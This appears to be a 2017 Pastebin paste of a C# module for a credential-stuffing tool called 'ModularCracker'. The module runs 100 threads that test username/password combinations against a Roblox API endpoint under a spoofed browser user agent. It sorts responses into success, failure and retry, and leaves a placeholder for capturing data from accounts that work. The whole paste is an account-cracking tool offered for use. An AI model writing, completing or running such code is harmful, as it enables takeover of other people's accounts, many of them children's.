Advertisement
Guest User

Untitled

a guest
Oct 17th, 2017
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.16 KB | None | 0 0
  1.  
  2. using System.Net;
  3. using System.Threading.Tasks;
  4. using CrackingLibV2.KeysSystem;
  5. using ModularCracker;
  6. using RestSharp;
  7. using RestSharp.Extensions.MonoHttp;
  8.  
  9.  
  10. namespace Roblox
  11. {
  12. public class Roblox : IModule
  13. {
  14. public int Threads => 100;
  15.  
  16. public string Author => "Storm";
  17.  
  18. public string ModuleName => "Roblox";
  19.  
  20. public bool Proxy => false;
  21.  
  22. public ComboTypes ComboType => ComboTypes.UserPass;
  23.  
  24.  
  25. public async Task<Tuple<Keys, Account>> LoginRequest(string user, string pass, string proxy)
  26. {
  27. var keyssystem = new KeysSystem();
  28. keyssystem.AddKey(Keys.Failure, "Incorrect username or password.", "Account not found. Please try again");
  29. keyssystem.AddKey(Keys.Success, "userId");
  30. keyssystem.AddKey(Keys.Retry, "<!-- a padding to disable MSIE and Chrome friendly error page -->");
  31. keyssystem.AddKey(Keys.Retry,
  32. "The request body did not contain the specified number of bytes. Got 0, expected");
  33. var account = new Account { Login = user, Password = pass, Capture = "" };
  34. var client = new RestClient("https://api.roblox.com/currency/balance")
  35. {
  36. UserAgent =
  37. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11",
  38. CookieContainer = new CookieContainer()
  39. };
  40.  
  41. var request = new RestRequest();
  42. request.AddParameter("application/x-www-form-urlencoded", $"username={user}&password={pass}", ParameterType.RequestBody);
  43.  
  44.  
  45.  
  46. //get example
  47. await client.ExecuteGetTaskAsync(request);
  48.  
  49. var exec = await client.ExecutePostTaskAsync(request); //ALWAYS AWAIT REQUESTS
  50.  
  51.  
  52. var keyCheck = keyssystem.CheckKeys(exec.Content);
  53.  
  54.  
  55. if (keyCheck == Keys.Success)
  56. {
  57. // CAPTURE HERE
  58. }
  59.  
  60. // new Account() {Login = "USER", Password = "PASS", Capture = "CAPTURE"};
  61.  
  62.  
  63. return Tuple.Create(keyCheck, account); // RETURN KEY, ACCOUNT WIT H CAPTURE
  64. }
  65. }
  66. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement